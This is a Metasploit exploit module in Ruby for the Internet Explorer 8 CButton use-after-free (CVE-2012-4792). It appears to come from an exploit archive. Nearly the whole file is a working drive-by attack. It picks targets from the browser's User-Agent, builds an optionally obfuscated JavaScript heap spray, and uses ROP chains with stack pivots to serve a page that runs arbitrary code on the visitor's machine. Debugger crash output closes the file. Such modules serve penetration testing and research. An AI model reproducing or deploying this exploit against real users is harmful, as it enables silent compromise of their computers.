Microsoft Internet Explorer CButton Object Use-After-Free

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability found in Microsoft Internet Explorer. A  
use-after-free condition occurs when a CButton object is freed, but a reference  
is kept and used again during a page reload, an invalid memory that's controllable  
is used, and allows arbitrary code execution under the context of the user.  
  
Please note: This vulnerability has been exploited in the wild targeting  
mainly China/Taiwan/and US-based computers.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'eromang',  
'mahmud ab rahman',  
'juan vazquez',  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2012-4792' ],  
[ 'US-CERT-VU', '154201' ],  
[ 'BID', '57070' ],  
[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],  
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],  
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],  
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],  
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ]  
],  
'Payload' =>  
{  
'Space' => 980,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30  
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30  
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30  
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30  
],  
'Privileged' => false,  
'DisclosureDate' => "Dec 27 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '5.2'  
os_name = 'Windows Server 2003'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
else  
# OS not supported  
return nil  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def ie_heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch))  
  
# Land the payload at 0x0c0c0b30  
js = %Q|  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
|  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
return js  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
=begin  
Stack Pivoting to eax:  
0:008> db eax  
0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
=end  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
if t.name =~ /Windows XP/  
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret  
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret  
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c  
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})  
else  
stack_pivot = [0x77bcba5f].pack("V") * 54 # ret  
stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret  
stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c  
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})  
end  
else  
print_status("Using JRE ROP")  
stack_pivot = [0x7c348b06].pack("V") * 54 # ret  
stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret  
stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c  
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})  
end  
  
return rop_payload  
end  
  
def load_exploit_html(my_target, cli)  
  
p = get_payload(my_target, cli)  
js = ie_heap_spray(my_target, p)  
  
html = %Q|  
<!doctype html>  
<html>  
<head>  
<script>  
#{js}  
  
function helloWorld()  
{  
var e0 = null;  
var e1 = null;  
var e2 = null;  
  
try {  
e0 = document.getElementById("a");  
e1 = document.getElementById("b");  
e2 = document.createElement("q");  
e1.applyElement(e2);  
e1.appendChild(document.createElement('button'));  
e1.applyElement(e0);  
e2.outerText = "";  
e2.appendChild(document.createElement('body'));  
} catch(e) { }  
CollectGarbage();  
var eip = window;  
var data = "#{Rex::Text.rand_text_alpha(41)}";  
eip.location = unescape("%u0b30%u0c0c" + data);  
}  
  
</script>  
</head>  
<body onload="eval(helloWorld())">  
<form id="a">  
</form>  
<dfn id="b">  
</dfn>  
</body>  
</html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end  
  
  
=begin  
(87c.f40): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400  
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
mshtml!CMarkup::OnLoadStatusDone+0x504:  
637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????  
0:008> k  
ChildEBP RetAddr  
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504  
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47  
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f  
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12  
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb  
020bfd78 7e418734 mshtml!GlobalWndProc+0x183  
020bfda4 7e418816 USER32!InternalCallWinProc+0x28  
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150  
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306  
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf  
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461  
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1  
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab  
020bffec 00000000 kernel32!BaseThreadStart+0x37  
  
0:008> r  
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120  
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
mshtml!CMarkup::OnLoadStatusDone+0x504:  
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????  
  
=end`